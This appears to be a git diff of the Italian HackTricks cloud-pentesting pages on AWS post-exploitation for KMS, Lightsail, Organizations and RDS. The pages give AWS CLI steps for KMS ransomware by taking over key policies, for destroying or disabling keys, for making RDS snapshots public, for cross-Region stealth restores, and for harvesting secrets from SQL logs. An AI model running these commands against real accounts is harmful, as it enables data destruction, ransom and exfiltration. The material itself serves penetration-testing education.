-> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
-
-- Crea una nuova **key with a key material** importata dall'attaccante
-- **Re-encrypt older data** della vittima che erano cifrati con la versione precedente, utilizzando quella nuova.
-- **Delete the KMS key**
-- Ora solo l'attaccante, che possiede il key material originale, potrebbe essere in grado di decriptare i dati cifrati
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro key material), rendendole incapaci di decriptare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Distruggere le chiavi
-
-Distruggendo le chiavi è possibile eseguire un DoS.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross-account:**
-
-### Modificare o eliminare Alias
-Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si basi su quegli alias, con conseguente denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può non funzionare fino a quando l'alias non venga ripristinato o rimappato correttamente.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Cancel Key Deletion
-Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare una cancellazione programmata di una AWS KMS customer master key e successivamente riattivarla. Così facendo la chiave viene recuperata (inizialmente in stato Disabled) e ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo exfiltration.
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Disable Key
-Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key (CMK), impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riabilitata.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Derivare Shared Secret
-Con il permesso `kms:DeriveSharedSecret`, un attore può usare una private key detenuta da KMS insieme a una public key fornita dall'utente per calcolare un ECDH shared secret.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-Con il permesso `kms:Sign`, un attore può usare una CMK memorizzata in KMS per firmare crittograficamente i dati senza esporre la chiave privata, producendo firme valide che possono abilitare impersonation o autorizzare azioni malevole.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo inoperabili le sue chiavi master. Ciò interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si appoggi a quelle chiavi e può causare un DoS immediato. Limitare e monitorare tali permessi è quindi fondamentale.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
new file mode 100644
index 000000000..2fbff9dbb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt information
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non testuali.
+- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplici, script o JSON che non richiedono requisiti di codifica speciali.
+
+> [!TIP]
+> Nota che se vuoi decriptare dei dati contenuti in un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
+
+- Usando una chiave **simmetrica**
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Usando una **asymmetric** key:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Un attacker con accesso privilegiato a KMS potrebbe modificare la KMS policy delle keys e **grant his account access over them**, rimuovendo l'accesso concesso all'account legit.
+
+Di conseguenza, gli utenti dell'account legit non saranno in grado di accedere a nessuna informazione di qualsiasi servizio crittografato con quelle keys, creando un ransomware semplice ma efficace sull'account.
+
+> [!WARNING]
+> Nota che **AWS managed keys aren't affected** da questo attacco, solo **Customer managed keys**.
+
+> Si noti inoltre la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella web console rende questo attacco possibile solo dalla CLI).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da quell'account esterno provi a impostare una nuova policy per **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generico KMS Ransomware
+
+Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
+
+- Crea una nuova **key with a key material** importata dall'attaccante
+- **Re-encrypt older data** dei dati della vittima cifrati con la versione precedente usando quella nuova.
+- **Delete the KMS key**
+- Ora solo l'attaccante, che possiede il originale key material, potrebbe essere in grado di decifrare i dati cifrati
+
+### Eliminare chiavi tramite kms:DeleteImportedKeyMaterial
+
+Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può eliminare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno imperted il loro key material), rendendole incapaci di decifrare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Distruggere le chiavi
+
+Distruggendo le chiavi è possibile eseguire un DoS.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross account:**
+
+### Modificare o eliminare Alias
+Questo attacco cancella o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando guasti immediati in qualsiasi servizio che dipenda da quegli alias, provocando un denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e compromettere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può fallire fino a quando l'alias non viene ripristinato o rimappato correttamente.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Cancel Key Deletion
+Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare la cancellazione programmata di una customer master key di AWS KMS e successivamente riabilitarla. In questo modo si recupera la chiave (inizialmente nello stato Disabled) e si ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo l'exfiltration.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Disabilitare la chiave
+Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key, impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riattivata.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Derivazione del segreto condiviso
+Con il permesso `kms:DeriveSharedSecret`, un attore può usare una chiave privata custodita in KMS insieme a una chiave pubblica fornita dall'utente per calcolare un segreto condiviso ECDH.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+Con il permesso `kms:Sign`, un attore può utilizzare una CMK memorizzata in KMS per firmare criptograficamente i dati senza esporre la chiave privata, generando firme valide che possono consentire impersonation o autorizzare azioni dannose.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, scollegare o eliminare un AWS KMS Custom Key Store (CKS), rendendo le sue chiavi master inutilizzabili. Questo interrompe le operazioni di crittografia, decrittografia e di firma per qualunque servizio che si affidi a quelle chiavi e può causare un immediato denial-of-service. È quindi fondamentale limitare e monitorare tali permessi.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index dea7fa3f7..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Per ulteriori informazioni, controlla:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Ripristina vecchi snapshot del DB
-
-Se il DB ha snapshot, potresti essere in grado di **trovare informazioni sensibili attualmente eliminate in vecchi snapshot**. **Ripristina** lo snapshot in un **nuovo database** e controllalo.
-
-### Ripristina snapshot dell'istanza
-
-Gli snapshot dell'istanza potrebbero contenere **informazioni sensibili** di istanze già eliminate o informazioni sensibili che sono state eliminate nell'istanza attuale. **Crea nuove istanze dagli snapshot** e controllale.\
-Oppure **esporta lo snapshot in un AMI in EC2** e segui i passaggi di un'istanza EC2 tipica.
-
-### Accedi a informazioni sensibili
-
-Controlla le opzioni di privesc di Lightsail per apprendere diversi modi per accedere a potenziali informazioni sensibili:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
new file mode 100644
index 000000000..0fadc4e13
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Per maggiori informazioni, consulta:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Ripristina vecchi snapshot DB
+
+Se il DB ha degli snapshot, potresti essere in grado di **trovare informazioni sensibili attualmente eliminate in vecchi snapshot**. **Ripristina** lo snapshot in un **nuovo database** e controllalo.
+
+### Ripristino degli snapshot delle istanze
+
+Gli snapshot delle istanze potrebbero contenere **informazioni sensibili** di istanze già eliminate o informazioni sensibili eliminate nell'istanza corrente. **Crea nuove istanze dagli snapshot** e controllale.\
+Oppure **esporta lo snapshot come AMI in EC2** e segui i passaggi tipici per una istanza EC2.
+
+### Accesso alle informazioni sensibili
+
+Consulta le opzioni di Lightsail privesc per conoscere i diversi modi di accedere a potenziali informazioni sensibili:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index 14a5f85a6..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# AWS - Organizzazioni Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizzazioni
-
-Per ulteriori informazioni su AWS Organizations controlla:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Lascia l'Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
new file mode 100644
index 000000000..063b718ac
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Per maggiori informazioni su AWS Organizations consulta:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Uscire dall'Org
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
similarity index 75%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index b171f076e..69ed48d9a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Per maggiori informazioni consulta:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Se un attaccante ha permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi creando un DB accessibile pubblicamente dallo snapshot.
+Se l'attaccante ha i permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi un DB accessibile pubblicamente dallo snapshot.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **disponibile** **pubblicamente**. Poi, potrebbe semplicemente creare nel suo account un DB da quel snapshot.
+Un attacker con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
 
-Se l'attaccante **non ha `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
+Se l'attacker **non ha la `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se vengono accidentalmente registrati dati sensibili o credenziali di accesso, l'attaccante potrebbe utilizzare queste informazioni per ottenere privilegi più elevati o compiere azioni non autorizzate.
+Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati per errore, l'attaccante potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Impatto potenziale**: Accesso a informazioni sensibili o azioni non autorizzate usando credenziali leaked.
+**Potential Impact**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-Un attaccante con queste autorizzazioni può **DoS le istanze RDS esistenti**.
+Un attaccante con questi permessi può **DoS existing RDS instances**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Impatto potenziale**: Eliminazione delle istanze RDS esistenti e possibile perdita di dati.
+**Impatto potenziale**: Cancellazione di istanze RDS esistenti e possibile perdita di dati.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: Da testare
+> Da testare
 
-Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
+Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Potenziale impatto**: Accesso a dati sensibili nello snapshot esportato.
+**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
 
-### Replicazione cross-Region dei backup automatici per un ripristino furtivo (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Replica cross-Region delle Automated Backups per ripristino stealth (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Abusare della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Regione e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Regione che i difensori potrebbero non monitorare.
+Abusare della replica cross-Region delle Automated Backups per duplicare silenziosamente le Automated Backups di un'istanza RDS in un'altra AWS Region e ripristinarle lì. L'attaccante può poi rendere il DB ripristinato accessibile pubblicamente e resettare la password master per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
 
-Permessi necessari (minimi):
-- `rds:StartDBInstanceAutomatedBackupsReplication` nella Regione di destinazione
-- `rds:DescribeDBInstanceAutomatedBackups` nella Regione di destinazione
-- `rds:RestoreDBInstanceToPointInTime` nella Regione di destinazione
-- `rds:ModifyDBInstance` nella Regione di destinazione
-- `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale)
+Permissions needed (minimum):
+- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
+- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
+- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
+- `rds:ModifyDBInstance` nella Region di destinazione
+- `rds:StopDBInstanceAutomatedBackupsReplication` (cleanup opzionale)
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
 
-Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Regione ed esponendoli pubblicamente con credenziali controllate dall'attaccante.
+Impact: Persistenza e esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
 
 <details>
 <summary>CLI end-to-end (sostituire i segnaposto)</summary>
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Abilitare il logging SQL completo tramite DB parameter groups ed esfiltrare tramite RDS log APIs
+### Abilitare il full SQL logging tramite DB parameter groups ed esfiltrare usando RDS log APIs
 
-Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non servono credenziali del DB engine). Abilita il logging SQL del motore e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
+Abuse `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita l'engine SQL logging e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
 
 Permessi necessari (minimo):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza usa quello di default)
+- `rds:ModifyDBInstance` (solo per associare un parameter group custom se l'istanza usa quello di default)
 - `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)
 
 Passaggi
-1) Recon target e parameter group corrente
+1) Recon del target e del parameter group corrente
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Assicurarsi che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare quello predefinito)
-- Se l'istanza usa già un gruppo personalizzato, riutilizzarne il nome nel passo successivo.
-- Altrimenti creare e associare uno corrispondente alla famiglia del motore:
+2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare quello di default)
+- Se l'istanza usa già un custom group, riutilizza il suo nome nel passaggio successivo.
+- Altrimenti crea e associa uno corrispondente all'engine family:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Abilitare la registrazione SQL dettagliata
-- Motori MySQL (immediato / nessun riavvio):
+3) Abilitare il logging SQL dettagliato
+- Motori MySQL (immediato / senza riavvio):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- Motori PostgreSQL (reboot required):
+- PostgreSQL engines (richiede riavvio):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Lascia eseguire il workload (o genera query). Le istruzioni verranno scritte nei file di log del motore
+4) Lasciare che il workload venga eseguito (o generare query). Le istruzioni SQL verranno scritte nei file di log del motore
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Individua e scarica i log (non sono richieste credenziali DB)
+5) Individuare e scaricare i file di log (no DB creds required)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,7 +235,7 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Analizzare offline i dati sensibili
+6) Analizzare offline alla ricerca di dati sensibili
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
@@ -246,7 +246,7 @@ Esempio di evidenza (oscurata):
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Pulizia
-- Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
+- Ripristina i parametri ai valori predefiniti e riavvia se necessario:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impatto: accesso ai dati in post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, e PII.
+Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per esfiltrare dati.
+Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica quella della primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
 
-Permessi necessari (minimo):
+Permissions needed (minimum):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Impatto: accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attacker; minore probabilità di rilevamento poiché la primaria rimane intatta e la replicazione continua.
